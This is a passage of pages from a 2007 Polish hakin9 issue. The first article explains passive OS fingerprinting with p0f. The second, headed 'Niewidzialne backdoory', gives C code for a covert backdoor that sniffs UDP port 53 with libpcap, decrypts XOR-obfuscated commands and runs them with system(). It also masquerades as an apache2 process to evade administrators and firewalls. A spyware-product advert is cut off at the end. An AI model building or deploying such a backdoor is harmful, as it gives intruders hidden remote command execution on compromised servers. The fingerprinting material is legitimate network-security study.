Rysunek 1.

Dwa pakiety SYN wysłane przez ten sam system

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

38

ny przez router. Kiedy osiągnie ze-
rową wartość, pakiet zostaje odrzu-
cony z sieci, natomiast jego nadaw-
ca otrzymuje komunikat ICMP o
błędzie. Jest to konieczne, aby za-
pobiec krążeniu pakietów w nie-
skończonej pętli, w której jeden ro-
uter wysyła pakiet do drugiego, a
ten odsyła go z powrotem.

Prawie wszystkie systemy usta-

lają wartość początkową tego po-
la na 32, 64, 128 lub 255. Istnieją
także systemy, które wybierają in-
ne wartości jak np. Irix, który ustala
początkowy TTL na 60. Będziemy
otrzymywać pakiety, które przeby-
ły różne trasy dlatego oszacowanie

początkowego TTL wydaje się być
trudne. Jednak my wiemy, że prak-
tycznie nie występują pakiety, któ-
re przebyły drogę dłuższą niż przez
30 routerów. Dzięki temu możemy
założyć, że jeśli otrzymany pakiet z
TTL o wartości 44 (lub innej mniej-
szej od 64 i większej od 32) to mo-
żemy założyć, że wartością począt-
kową była liczba 64. Łatwo także
zauważyć, że skoro potrafimy usta-
lić wartość początkową TTL to po-
trafimy także określić odległość od
danej maszyny oraz określić, jakie
systemy mogły wysłać taki pakiet.
Systemy Windows ustawiają TTL
na 128, natomiast Linux oraz sys-

temy BSD ustawiają początkowy
TTL na 64. Jak widać, przy pomo-
cy tego jednego pola potrafimy po-
dać zakres systemów, które wysła-
ły dany pakiet.

Window

Rozmiar okna (ang. window) od-
zwierciedla maksymalną liczbę da-
nych, które mogą być wysłane bez
konieczności oczekiwania na po-
zytywne potwierdzenie. Umożliwia
zwiększanie szybkości z jaką prze-
syłane są dane. Podczas transmisji
danych rozmiar okna jest zmienia-
ny w celu optymalnego wykorzysta-
nia łącza.

Rozmiar okna jest dla nas in-

formacją najbardziej przydatną dla
ustalenia systemu na drugim koń-
cu kabla, ponieważ może przyjmo-
wać wartość maksymalną 65535
bajtów. Różne wersje tego same-
go systemu z reguły używają in-
nych rozmiarów okna w pakietach
TCP SYN. Przykładem może być
Windows 98, który ustawia rozmiar
okna na 8192 bajty oraz Windows
XP, który preferuje większy roz-
miar, najczęściej 64512.

Dodatkowe opcje TCP

Protokół TCP jest otwarty i moż-
na rozszerzać jego możliwości
dołączając dodatkowe opcje za

Protokół TCP/IP

TCP/IP to powszechnie używane po-
łączenie dwóch protokołów. IP to pro-
tokół warstwy sieci (zgodnie z mode-
lem OSI), co oznacza, że odpowia-
da za właściwe adresowanie i prze-
syłanie danych, ale zupełnie nie zaj-
muje się poprawnością samej trans-
misji. To zadanie należy do protokołu
niższego rzędu – TCP, należącego do
warstwy transportowej. Dlatego może-
my powiedzieć, że nagłówek IP znajdu-
je się nad nagłówkiem TCP w pakiecie.
Większość sieci komputerowych, a już
szczególnie Internet, jest heterogenicz-
na, co oznacza, że są w nich stosowa-
ne różne protokoły. TCP/IP to tylko je-
den z możliwych wariantów (inne to na
przykład UDP/IP czy ICMP/IP), choć
bardzo popularny.

Rysunek 3.

Schemat nagłówka IP oraz TCP

Rysunek 2.

Program p0f podczas pracy

background image

Pasywne rozpoznawanie systemów operacyjnych

nagłówkiem. Wiele takich opcji zo-
stało zdefiniowanych w różnych
dokumentach RFC później niż sa-
ma specyfikacja protokołu TCP. Ze
względu na ich opcjonalne użycie
otrzymujemy kolejną możliwość
rozpoznania różnic w implementa-
cjach stosu sieciowego. Co więcej,
kolejność ustawienia opcji w pa-
kiecie oraz ich wartości są usta-
lane dowolnie przez systemy ope-
racyjne, co jest bardzo pomocne.
Poniżej zostało wymienionych kil-
ka opcji przydatnych w identyfi-
kacji:

Maximum Segment Size (MSS)

– jak wskazuje nazwa, opcja
określa maksymalny rozmiar
segmentu TCP,

Window Scale (Wscale) – służy

do zwiększenia rozmiaru okna do

wartości większych niż 64kB, co
pozwala na wydajniejsze przesy-
łanie danych w przypadku łącz o
dużej przepustowości,

Selective ACK – opcja umożli-

wiająca wybiórczą retransmisję
zagubionych pakietów (zamiast
wszystkich począwszy od pierw-
szego, który nie dotarł do odbior-
cy) co pozytywnie wpływa na
szybkość transmisji,

Timestamp – zawiera znacznik

czasu, często jest wykorzystywa-
na do oszacowania czasu działa-
nia systemu, który wysłał pakiet z
taką opcją,

No Option (NOP) – pusta opcja

stosowana jako wypełniacz,

Kolejność ułożenia powyższych
opcji oraz ich wartości są bogatym
źródłem informacji o systemach.

Rozmiar pakietu

Całkowita długość pakietu inicjują-
cego połączenie także stanowi źró-
dło informacji. Najmniejszy możliwy
rozmiar to 40 bajtów. Jak wiemy pod
nagłówkiem TCP znajdują się do-
datkowe opcje rozszerzające moż-
liwości protokołu. Ilość dołączonych
opcji ma wpływ na końcowy rozmiar
pakietu, co z kolei stanowi informa-
cję o systemach generujących takie
pakiety. Przykładowo, starsze wersje
systemu Linux używały do nawiązy-
wania nowych połączeń TCP pakie-
tów o długości 44 bajtów. Natomiast
najnowsze generują pakiety SYN o
wielkości 60 bajtów.

Przykładowe

rozpoznanie

Spróbujmy wykorzystać świeżo zdo-
bytą wiedzę i przeanalizujmy przy-

Tabela 2.

Charakterystyczne wartości wybranych pół w pakietach TCP/IP dla poszczególnych systemów

operacyjnych

Nazwa systemu

TTL

Rozmiar okna

Flaga DF

Rozmiar pakietu

Linux 2.4

64

5840

ustawiona

60

Linux 2.0

64

512

brak

44

FreeBSD

64

65535

ustawiona

60

Windows 98

128

8192

ustawiona

48

Windows XP

128

64512

ustawiona

48

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

40

kładowy pakiet, który otrzymaliśmy
używając narzędzia tcpdump:

15:27:01.255446 80.54.76.241.1026 >
80.54.10.76.80: S [tcp sum ok]
2222061320:2222061320(0) win
512 (ttl 61, id 29, len 44)

Oto informacje, które nas interesują:

• TTL (Time To Live) równe

61

;

• rozmiar okna wynosi

512

;

• flaga DF nie jest ustawiona;
• długość pakietu to

44

bajty.

Pierwszą rzeczą, na którą powinni-
śmy zwrócić uwagę jest brak flagi DF
(Don't Fragment). Możemy założyć,
że pakiet został wysłany przez jeden
ze starszych systemów np. Linux
2.0.x, OpenBSD 2.x czy Cisco IOS.
Wartość TTL zawiera się w przedzia-
le od 32 do 64, dlatego przyjmujemy,
iż początkowa wartość tego pola wy-
nosiła 64. Cisco ustawia początkowe
TTL na 255, dlatego możemy go wy-
kluczyć z listy potencjalnych syste-
mów. Pozostają nam systemy Linux
2.0.3x oraz OpenBSD 2.x. Rozmiar
okna 512 pozwala nam stwierdzić, że
poszukiwanym systemem jest Linux
2.0.3x, najprawdopodobniej popu-
larna mini-dystrybucja Freesco. Po-
twierdza to także długość pakietu.

Samodzielna analiza pakietów

jest skomplikowana i bardzo czaso-
chłonna. Na szczęście dla nas ist-
nieje narzędzie, które uczyni pasyw-
ne rozpoznawanie systemów łatwym
i przyjemnym.

Oprogramowanie

Jednym z narzędzi wykorzystywa-
nych do pasywnego fingerprintingu
jest program p0f, który do działania
wymaga popularnej biblioteki pcap.
Jego funkcjonalność została wyko-
rzystana w filtrze pakietów z syste-
mu OpenBSD (dodając odpowiednią
regułę można na przykład odrzucać
pakiety wysłane przez systemy z ro-
dziny MS Windows). Podobne moż-
liwości można dodać przy pomo-
cy odpowiedniej łatki do linuksowe-
go netfilter.

Program podczas pracy wyko-

rzystuje gotowe sygnatury systemów

(przechowywane w zwykłych plikach
tekstowych), które porównuje z infor-
macjami przenoszonymi przez prze-
chwycone pakiety. Przykładowa sy-
gnatura dla systemu Linux 2.0.3x
wygląda następująco:

512:64:0:44:

M*:.:Linux:2.0.3x

. Kolejne pola (od-

dzielone dwukropkami) w tym zapi-
sie oznaczają:

• 512 – rozmiar okna TCP;
• 64 – początkowa wartość TTL;
• 0 – obecność flagi Don't Frag-

ment (zero oznacza brak);

• 44 – rozmiar pakietu;
• M* – maksymalny rozmiar seg-

mentu (MSS) – znak gwiazdki
oznacza dowolną wartość.

Ponieważ p0f wykorzystuje biblio-
tekę pcap, możliwe jest zastosowa-
nie reguł BPF do filtrowania analizo-
wanych pakietów (na przykład jeśli
chcemy ograniczyć się tylko do kom-
puterów łączących się z usługami na
konkretnym porcie) lub nasłuchiwa-
nie na wybranym urządzeniu (wyko-
rzystując opcję

-i

).

Program jest całkowicie darmo-

wy i działa na wielu systemach. W
przypadku Windows wymagana jest
biblioteka WinPcap.

Jak nie dać się wykryć

Chcąc oszukać taki program jak p0f
czy nmap będziemy zmuszeni do
samodzielnej edycji kodu źródło-
wego jądra lub wykorzystania goto-
wych pakietów, które dokonają od-
powiedniej modyfikacji za nas. Do
najbardziej znanych należą Ipper-

sonality oraz kosf (The Kernel OS

Faker). Potrafią skutecznie zmienić
zachowanie naszego stosu TCP/IP
w taki sposób, aby ciekawska osoba
po drugiej stronie myślała, że uży-
wamy na przykład sieciowej dru-
karki laserowej. Wadą takiego roz-
wiązania jest ewentualne osłabie-
nie jakości stosu sieciowego przez
co stanie się mniej wydajny i podat-
ny na różnego rodzaju ataki. Z te-
go powodu wymienione pakiety mo-
gą służyć jedynie do zabawy w do-
mu. Nigdy nie powinno się ich stoso-
wać na systemach pełniących waż-
ne funkcje.

Istnieje jednak bezpieczne roz-

wiązanie, które spowoduje, że roz-
poznanie nazwy naszego systemu
będzie znacznie utrudnione. Polega
na zmianie domyślnej wartości pola
TTL w wysyłanych pakietach. Można
tego dokonać jednym poleceniem:

# echo 128 > /proc/sys/net/ipv4/ip_

default_ttl

Po tym zabiegu p0f określi nasz sys-
tem jako

Unknown

, czyli nierozpozna-

ny. Zmiana TTL nie ma żadnego
wpływu na wydajność i bezpieczeń-
stwo połączeń, więc może być stoso-
wana bez obaw. Oczywiście wszyst-
kie aplikacje, które mają dostęp do
warstwy sieciowej i transportowej
czyli samodzielnie generują nagłów-
ki pakietów (na przykład skaner sie-
ciowy nmap), nie będą respektowały
wprowadzonych zmian.

Podsumowanie

Pasywny fingerprinting ma wiele zalet.
Jest szybki i zupełnie anonimowy. Z
powodzeniem może być wykorzysty-
wany w systemach IDS (Intrusion De-

tection System) i wszędzie tam gdzie
potrzebne jest bardzo szybkie dostar-
czenie informacji na temat sieci, użyt-
kowników serwera lub innej maszyny
o krytycznym znaczeniu. l

O autorze

Zajmuje się bezpieczeństwem sieci i
systemów komputerowych. Czasami
bawi się w programistę tworząc coś, co
ma być przydatne, ale różnie z tym by-
wa. Na co dzień student drugiego ro-
ku informatyki. Kontakt z autorem: el-
ceef@itsec.pl

Uptime

Pakiety TCP mogą zawierać dodat-
kową informację w postaci znacznika
czasu – opcji timestamp. Różne syste-
my zwiększają jej wartość z różną czę-
stotliwością, najczęściej o 100 w ciągu
sekundy. Jeśli pomnożymy ten znacz-
nik przez odpowiednią częstotliwość,
otrzymamy czas działania danego sys-
temu (od jego ostatniego uruchomie-
nia), czyli tzw. uptime.

background image
background image

www.hakin9.org

hakin9 Nr 3/2007

42

Obrona

P

o włamaniu do systemu intruz zwykle
podejmuje próbę zostawienia sobie
tylnej furtki, aby w przyszłości mieć

możliwość jego kontroli. W większości przy-
padków osiągane jest to dwuetapowo: po-
przez instalację właściwego backdoora oraz
oprogramowania określanego jako “rootkit”,
mającego ukryć obecność backdoora w sys-
temie. Klasyczny rootkit przechwytuje wy-
brane wywołania systemowe wprowadzając
do nich własne funkcjonalności. Zwykle ma
to na celu usunięcie prezentowania informa-
cji o zainstalowanym oprogramowaniu intru-
za oraz o eksploatowanych przez to oprogr-
mowanie zasobach systemowych. Takie roz-
wiązania charakteryzują się jednak wysokim
stopniem iwazyjności w system-ofiarę. Wy-
korzystanie rootkitów może powodować ano-
malie w pracy serwera - zmniejszenie wydaj-
ności, destabilizację, zaburzenie (albo całko-
wite zaprzestanie) działania określonej grupy
programów lub usług itp. Wszystkie wymie-
nione elementy zostają zwykle dosyć szybko
zauważone i wywołują wzmożenie czujności
administratora, wnikliwą analizę problemu,
a w konsekwencji wykrycie faktu naruszenia
bezpieczeństwa.

Dodatkowo istnieje kolejna trudność. Ma

ona miejsce w przypadku pozostawienia
backdoora, który na określonym porcie sie-
ciowym nasłuchuje w oczekiwaniu na pakie-
ty od intruza. W takim wypadku zmiana poli-
tyki firewalla powodująca odrzucenie pakie-
tów sieciowych kierowanych na port backdo-
ora spowoduje że komunikacja z nim stanie
się niemożliwa. Filtr IP zablokuje transport
pakietów do warstwy aplikacji i nastąpi brak
możliwości jakiejkolwiek komunikacji z tylny-
mi drzwiami.

Niewidzialne backdoory

Michał Styś

stopień trudności

Pozostawienie w skompromitowanym systemie tylnej furtki w

postaci programu otwierającego port, na którym oczekuje on

pakietów z poleceniami od intruza wiąże się z dużą łatwością

zdekonspirowania całego przedsięwzięcia przez administratora.

Dodatkowo wykorzystanie takiego backdoora utrudnić może

polityka firewalla ustalona na zaatakowanej maszynie.

Z artykułu nauczysz się...

• jak ukryć sieciowy backdoor w systemie
• jak uniezależnić komunikację z backdoorem od

polityki firewalla zastosowanej na atakowanym
serwerze

Powinieneś wiedzieć...

• powinieneś znać podstawy modelu OSI
• powinieneś posiadać wiedzę o protokołach IP

oraz UDP

• powinieneś znać język C

background image

Ukrywanie sieciowych backdoorów

hakin9 Nr 3/2007

www.hakin9.org

43

W obliczu wymienionych proble-

mów, rozwiązaniem jest stworzenie
backdoora jak najmniejszego, moż-
liwie najmniej inwazyjnego oraz nie-
wrażliwego na stan firewalla. Do-
datkowo należy zwrócić uwagę na
aspekty ukrycia lub zamaskowania
jego obecności w systemie kompu-
terowym.

Kamuflaż

Jako pierwsza, rozważona zosta-
nie kwestia ukrycia nasłuchu na por-
cie sieciowym. Aby osiągnąć ten cel,
należy zauważyć, że do przesłania
danych pomiędzy dwiema aplika-
cjami w sieci IP, nie potrzeba wca-
le otwierać portu po stronie odbior-
cy (patrz Ramka Komunikacja sie-

ciowa bez otwartych portów). Za-
miast pełnej komunikacji, backdo-
or będzie przechwytywał pakiety w
ten sam sposób, w jaki robi to snif-
fer sieciowy. Wiąże się to oczywiście
z utratą wszystkich funkcjonalności,
jakie daje zaimplementowana w sys-
temach operacyjnych obsługa proto-
kołów warstwy transportowej. Opro-
gramowanie backdoora musi więc
posiadać minimalny zestaw opera-
cji umożliwiający zweryfikowanie
poprawności otrzymanego pakietu.
Dzięki takiemu podejściu, backdo-
or nie będzie jawnie bindował żad-
nego portu, a więc administrator nie
wykryje go w procesie monitoringu
otwartych portów.

Drugą kwestią jest uniezależ-

nienie programu od ściany ognio-
wej. W rozwiązaniu tego proble-
mu pomocna będzie ta sama wła-
ściwość, która pozwliła ukryć fakt
nasłuchu sieciowego. Teraz umoż-
liwi wykorzystanie naszych tylnych
drzwi w warunkach zablokowania
portu przez administratora. Nie bę-
dzie mieć znaczenia polityka fire-
walla ustawiona dla portu na któ-
rym backdoor oczekuje pakietów.
Projektowany program działał bę-
dzie bowiem w tej samej warstwie
co filtr sieciowy. Filtr ten jest w sta-
nie zablokować transport pakietów
do warstwy aplikacji, jednak tylko
wtedy gdy aplikacja komunikuje się
za pośrednictwem sieci w standar-
dowy sposób.

Kolejną ważną cechą progra-

mu backdoora jest fakt, że może on
oczekiwać pakietów na porcie, któ-
ry został już otwarty i jest wykorzy-
stywany przez inną usługę. W ta-
kich wypadkach zwrócić należy do-
datkową uwagę na fakt, że pakie-
ty z poleceniami dla backdoora bę-
dą przekazywane również do sa-
mej aplikacji. Dodatkowo komuni-
kacja może zostać wykryta przez
system typu anomally IDS, którego
zadaniem jest nadzór komunikacji i
wykrywanie w niej wszelkich ele-
mentów będących odstępstwem od
normy. W załączonym do artykułu
oprogramowaniu ładunek pakietów
do komunikacji z backdoorem nie
przypomina swoją strukturą ładun-
ku żadnego z istniejących protoko-
łów sieciowych. Można jednak pod-
jąć próby dodatkowego kamuflażu i
przemycania komunikatów dla tyl-
nych drzwi w pakietach, które bę-
dą zgodne z istniejącymi protoko-
łami sieciowymi warstwy aplikacji
w takim stopniu, że staną się nie-
zauważalne dla systemów IDS. Au-
tor niniejszego artykułu jest otwar-
ty na wszelkie sugestie i pomysły w
tym zakresie.

Implementacja

backdoora

Pierwszym krokiem przy projekto-
waniu programu jest specyfikacja
wymagań, jakie program ten musi
spełniać. Od tylnych furtek zwykle
wymaga się możliwości ingerencji
w system operacyjny za ich pośred-
nictwem. W prezentowanym przy-
kładzie, zaimplementowana zosta-
nie możliwość zdalnego wykonywa-
nia poleceń w systemie z zainstalo-
wanym backdoorem.

Model komunikacji

Jako protokół transmisyjny do komu-
nikacji wybrany został UDP. Protokół
ten, mimo swojej naturalnej zawod-
ności znakomicie nadaje się do prze-
syłania niewielkich porcji danych w
szybki i łatwy sposób.

Aby efektywnie móc przekazać

polecenie do znajdującego się w
odległym systemie backdoora, na-
leży ustalić format danych w jakim
przesyłane one będą poprzez sieć.
Zgodnie z tym, co napisane zosta-
ło wcześniej, nasza tylna furtka bę-
dzie miała możliwość oczekiwa-
nia na pakiety również na portach,
które wykorzystywane są w danej
chwili przez inną usługę. Wiąże się
to z koniecznością wprowadzenia
mechaniki pozwalającej na odróż-
nienie, które dane przeznaczone
są dla backdoora, a które nie. Pa-
kiet musi także zawierać treść ko-
mendy, jaka ma być wykonana w
zdalnym systemie oraz informacje
pozwalające na weryfikację jego
integralności.

Komunikacja sieciowa

bez otwartych portów

W ostatnim czasie coraz bardziej po-
pularne staje się wykorzystywanie do
pewnych celów komunikacji sieciowej
bez standardowego kojarzenia aplikacji
nasłuchującej z danym portem. Podej-
ście to ma wiele zastosowań (m.in. port
knocking opisany w numerze 5/2005
pisma Hakin9), a rozwój biblioteki
PCAP (dostępnej pod adresem http://
sourceforge.net/projects/libpcap/
) bę-
dącej wysokiej jakości wieloplatformo-
wym interfejsem programistycznym dla
przechwytywania pakietów znacznie
ułatwia implementację narzędzi wyko-
rzystujących analizę danych na pozio-
mie niższych warstw modelu OSI.

Rysunek 1.

Format danych dla backdoora

sygnatura

dane

długość

danych

suma

kontrolna

Tabela 1.

Tablica prawdy dla

alternatywy wykluczającej

p

q

p XOR q

0

0

0

0

1

1

1

0

1

1

1

0

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

44

Proponowanym rozwiązaniem

wyżej wymienionych elementów jest
wprowadzenie formatu danych, któ-
rego postać określa Rysunek 1.

Programowo format ten zrealizo-

wany został jako struktura przedsta-
wiona na Listingu 1.

Elementem odróżniającym dane

dla tylnych drzwi od danych prze-
znaczonych dla innych aplikacji
jest pierwsze pole – sygnatura. Po-
zwala na umieszczenie krótkiej se-
kwencji znaków cechującej pakiet.
Po jej wykryciu, backdoor rozpocz-
nie przetwarzanie otrzymanych da-
nych. Drugie pole to długość da-
nych. Przechowuje informację o
ilości znaków zawartych w tablicy

data

. Informacja ta jest niezbędna,

z uwagi na fakt, że przesyłane da-
ne mają zmienną długość, a ponie-
waż w celu ukrycia treści polece-
nia zastosowana zostanie techni-
ka prostego szyfrowania, w danych
mogą pojawić się zerowe bajty. W
takim wypadku określenie prawdzi-
wej długości danych byłoby utrud-
nione. Pole

data _ len

pozwala na

uniknięcie tego problemu. Czyn-
nikiem poprawiającym stabilność
całego układu jest suma kontrolna
crc32 umieszczona w polu

crc

.

Omówione elementy są wstę-

pem do prowadzenia komunika-
cji w warunkach braku mozliwości
polegania na systemowej imple-
mentacji protokołów. Mając usta-
lony język w jakim będzie poro-
zumiewać się nasze oprogramo-
wanie, czas na stworzenie modu-
łu formującego i wysyłającego pa-
kiet do sieci.

Moduł wysyłania

komend

Zadaniem modułu wysyłającego jest
pobranie z linii komend parametrów
określających cel podróży pakietu,
wypełnienie struktury z Listingu 1,
osadzenie danych na protokole UDP
a następnie wysłanie ich do miejsca
przeznaczenia. Program wysyłający
nosi nazwę

sender

i przyjmuje nastę-

pujące parametry:

Usage: ./sender <IPaddress> <Port>

"<Command>"

Parametrami są: docelowy adres IP,
docelowy port oraz treść polecenia,
które ma być wykonane w zdalnym
systemie.

W takim podejściu istotną rze-

czą jest zamaskowanie polecenia
przesyłanego przez sieć. Przesłanie

go jawnym tekstem znacznie zwięk-
sza ryzyko wykrycia komunikacji. W
programach tego typu wystarczają-
cym rozwiązaniem okazuje się pro-
ste szyfrowanie tekstu przy wyko-
rzystaniu alternatywy wykluczającej
XOR. Funktor XOR posiada tą cieka-

Listing 1.

Struktura do przechowywania formatu danych dla backdoora

struct

header

{

char

sig

[

4

];

unsigned

short

data_len

;

unsigned

int

crc

;

char

data

[

PAYLOAD

];

}

;

Listing 2.

Najważniejsze fragmenty kodu wysyłającego pakiet do

backdoora

[

...

]

char

*

packet

=

(

char

*)

malloc

(

fixedsize

);

struct

header

*

head

=

(

struct

header

*)

packet

;

[

...

]

count

=

strlen

(

argv

[

3

]);

ptr

=

pass

;

for

(

i

=

0

;

i

<

count

;

i

++)

{

if

(*

ptr

==

'

\0

'

)

ptr

=

pass

;

head

->

data

[

i

]

=

*

ptr

++

^

argv

[

3

][

i

];

payloadsize

++;

}

head

->

data_len

=

htons

(

count

);

head

->

crc

=

htonl

(

crc32b

(

head

->

data

,

count

));

[

...

]

servaddr

.

sin_family

=

AF_INET

;

servaddr

.

sin_port

=

htons

(

atoi

(

argv

[

2

]));

inet_pton

(

AF_INET

,

argv

[

1

]

,

&

servaddr

.

sin_addr

);

sockfd

=

socket

(

AF_INET

,

SOCK_DGRAM

,

0

);

n

=

sendto

(

sockfd

,

packet

,

headersize

+

payloadsize

,

0

,

(

SA

*)

&

servaddr

,

sizeof

(

servaddr

));

Listing 3.

Kod przetwarzający pakiet nadesłany do backdoora

if

(!

strncmp

(

sig

,

head

->

sig

,

4

))

{

data_len

=

ntohs

(

head

->

data_len

);

orig_checksumm

=

ntohl

(

head

->

crc

);

ptr

=

pass

;

for

(

i

=

0

;

i

<

data_len

;

i

++)

{

if

(*

ptr

==

'

\0

'

)

ptr

=

pass

;

in_buff

[

i

]

=

*

ptr

++

^

head

->

data

[

i

];

if

(

i

>

1023

)

break

;

}

checksum

=

crc32b

(

head

->

data

,

data_len

);

if

(!(

checksum

^

orig_checksumm

))

system

(

in_buff

);

}

background image

Ukrywanie sieciowych backdoorów

wą cechę, że zastosowana dwa ra-
zy na tych samych danych nie zmie-
nia ich. Właściwość tą da się wyko-
rzystać do szyfrowania i deszyfrowa-
nia. Jeśli ustalimy pewien zbiór zna-
ków jako klucz, a następnie według
tego klucza przetworzymy funkcją
XOR ciąg tekstu, to otrzymamy w ten
sposób zaszyfrowany ciąg danych.
Aby przywrócić oryginalne dane, wy-
starczy zaszyfrowany ciąg poddać
przetworzeniu funkcją XOR przy wy-
korzystaniu tego samego hasła co
przy szyfrowaniu. Nie jest to meto-
da nadająca się do szyfrowania bar-
dzo poufnych danych, ale w omawia-
nym zastosowaniu jest w zupełności
wystarczająca. Tabela 1 przedstawia
tablicę prawdy dla funktora logiczne-
go XOR.

Zastosowanie szyfrowania przez

XOR'owanie pozwala na osiągnię-
cie jeszcze jednego bardzo ważne-
go celu. Nie chcielibyśmy, aby do-
wolna osoba mogła wykorzystywać
backdoor. Dzięki zastosowaniu sy-
metrycznej techniki szyfrowania, bę-
dzie to mógł robić tylko ten, kto po-
siada hasło szyfrujące. Zaletą tego
podejścia jest fakt, że jawne hasło
nie jest w żadnym momencie przesy-
łane przez sieć. Do wad należy sła-
bość mocy samego szyfru.

W projektowanym programie

hasło ustalić można w pliku

src/

global.h

zmieniając linię:

#define PASSWORD "secretpass"

Następnie należy przekompilować
program. Listing 2 przedstawia naj-
ważniejsze elementy programu wy-
syłającego dane. Na listingu drugim
zobaczyć można rzutowanie wskaź-
nika struktury

header

w celu łatwe-

go wypełnienia tablicy

packet

zgod-

nie z formatem samej struktury. W
następnym kroku odbywa się szy-
frowanie danych i umieszczenie ich
w odpowiednim polu. Po wypełnie-
niu wszystkich pól struktury, pro-
gram tworzy datagramowe gniazdo
sieciowe zgodne z parametrami po-
danymi z linii komend i wysyła pa-
kiet do sieci.

Moduł odbioru i

realizacji komend

Elementem odbierającym i realizu-
jącym polecenie wysłane przez sieć
jest właściwy backdoor. Działa on
w sposób podobny do sniffera sie-
ciowego. Napisany został przy wy-
korzystaniu biblioteki libpcap. Re-
gułę filtra według której odbywa się
analiza pakietów zdefiniować moż-

na z poziomu pliku nagłówkowego

src/global.h

. Domyślnie jest ona na-

stępująca:

#define LISTEN_STRING "udp port 53"

Oznacza to, że program będzie
analizował pakiety UDP przesyłane
na port o numerze 53. Port 53 jest
dobrze znany portem usługi DNS, a
więc istnieje możliwość, że w sys-
temie na porcie tym działał będzie
program BIND (lub inny demon ob-
sługi DNS). Zgodnie z opisanymi
wcześniej funkcjonalnościami, nie
przeszkadza to naszemu oprogra-
mowaniu do stabilnej pracy. Pakie-
ty przeznaczone dla usługi DNS
będą przez backdoor ignorowane,
ponieważ nie posiadają cech jakich
oczekuje. Kod backdoora przetwa-
rzający analizowany pakiet według
opisanych kryteriów znajduje się na
Listingu 3.

Jak widać na Listingu 3, podsta-

wowym elementem determinującym
podjęcie jakichkolwiek działań jest
sprawdzenie sygnatury. Jeśli jest
ona zgodna z sygnaturą pakietów
backdoora, następuje dalsze prze-
twarzanie. Kolejnym krokiem jest zli-
czenie sumy kontrolnej. Jeśli jest ona
zgodna z sumą kontrolną zawartą w

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2007

www.hakin9.org

Obrona

46

pakiecie, nastepuje wykonanie pole-
cenia w systemie.

Zastosowanie funkcji

system

do

wykonania komendy nie jest zbyt
eleganckim pomysłem. Sposób ten
został wykorzystany jedynie w celu
ilustracji idei budowy niebindujące-
go portu backdoora.

Jak już było wspominane, back-

door zbudowany został w oparciu
o bibliotekę libpcap. Opis bibliote-
ki zaprezentowany został na ła-
mach hakin9 (Nr 6/2006). Inicjali-
zacja sniffera i uruchomienie pętli
oczekującej na pakiety znajduje się
na listingu 4.

Backdoor domyślnie nasłuchu-

je na wszystkich dostępnych w
systemie interfejsach sieciowych.
Po zdefiniowaniu reguły filtra

“udp

port 53”

, wysłanie pakietu z pole-

ceniem powinno mieć następują-
cą postać:

./sender adres_ip 53 "echo test >

/root/test"

Wysłanie tego polecenia spowo-
duje założenie pliku

test

w katalo-

gu

root

.

Oprogramowanie dołączone na

płycie CD może działać w dwóch try-
bach: jako demon oraz w trybie de-
bugowania. W trybie debugowania
program nie pracuje w tle i prezentu-
je informacje o pakietach jakie są do
niego adresowane. Aby uruchomić
tryb debugowania należy uruchomić
backdoor następująco:

./backdoor -D

Przykładowe dane generowane
przez backdoor w trybie debugowa-
nia po wysłaniu pakietu:

./sender 127.0.0.1 53 "echo test >

/root/test"

Wyglądają następująco:

Good signature: [S]
original checksumm: 0x86bbead2 computed
checksumm: 0x86bbead2 - OK!
Command length: 22
Executing command: echo test > /root/

test

Ukrycie procesu

w systemie

W obecnej postaci, program wypo-
sażony został w prostą technikę ma-
skowania się w systemie. Polega ona
na podmianie nazwy własnego pro-
cesu. Operację tą realizuje linia:

strcpy(argv[0], FAKENAME);

Stała FAKENAME może być ustala-
na z poziomu pliku

src/global.h

. Do-

myślnie program podszywa się pod
serwer apache:

#define FAKENAME "/usr/sbin/apache2 -D
DEFAULT_VHOST -d /usr/lib/apache2 -f
/etc/apache2/httpd.conf -k start"

Prezentowany program można
oczywiście połączyć z bardziej
wyrafinowanymi metodami kamul-
fażu.

Podsumowanie

Opisane techniki działania tyl-

nych furtek niosą jak widać wie-
le nowych możliwości. Niewrażli-
wa na reguły firewalla komunika-
cja może sprawić masę proble-
mów w zabezpieczaniu się przed
tego typu technikami. Z pewno-
ścią warto jest poświęcić temu za-
gadnieniu trochę czasu przy kolej-
nej kontroli stanu bezpieczeństwa
serwera. l

W Sieci

http://www.tla.ch/TLA/NEWS/2004sec/20040224PortKnocking.htm - artykuł o

backdoorach wykorzystujących technologię port knocking

http://www.linuxjournal.com/article/6811 - artykuł o port knockingu
http://www.packetstormsecurity.org - zbiór oprogramowania oraz artykułów doty-

czących bezpieczeństwa komputerowego

http://sourceforge.net/projects/libpcap/ - biblioteka libpcap

Listing 4.

Inicjalizacja modułu analizy sieciowej backdoora

if

(

pcap_lookupnet

(

NULL

,

&

net

,

&

mask

,

errbuf

)

==

-

1

)

{

printf

(

"Error reading device data!

\n

"

);

exit

(

0

);

}

if

((

sniff_session

=

pcap_open_live

(

NULL

,

BUFSIZ

,

1

,

0

,

errbuf

))

==

NULL

)

{

printf

(

"Error opening interface!

\n

"

);

exit

(

0

);

}

set_hlength

(

pcap_datalink

(

sniff_session

));

if

(

pcap_compile

(

sniff_session

,

&

filter

,

filter_string

,

0

,

net

)

==

-

1

)

{

printf

(

"Error compiling filter!

\n

"

);

exit

(

0

);

}

if

(

pcap_setfilter

(

sniff_session

,

&

filter

)

==

-

1

)

{

printf

(

"Error setting filter!

\n

"

);

exit

(

0

);

}

pcap_loop

(

sniff_session

,

0

,

pkt_process

,

0

);

O autorze

Aktualnie jestem studentem ostatniego roku Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do moich głównych zainteresowań należy programowanie, admini-
stracja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.

background image

Wraz z rozwojem programów szpiegowskich, ochro-
na sieci firmowej przed tego typu zagrożeniami sta-
je się potrzebą nie mniej ważną niż uznawana dziś
za niezbędną ochrona antywirusowa.

NISKA SKUTECZNOŚĆ ROZWIĄZAŃ
DARMOWYCH

Jak dowiodły liczne, niezależne testy, stosowane
czasem darmowe rozwiązania pod względem sku-
teczności znacznie odbiegają od rozwiązań komer-
cyjnych. Nie pozwalają także na centralną admini-
strację, tym samym obciążając dział IT i zmusza-
jąc go do doraźnego reagowania na już zaistnia-
łe szkody.

SPY SWEEPER ENTERPRISE –
OCHRONA SIECI KORPORACYJNEJ

Spy Sweeper Enterprise chroni komputery pracują-
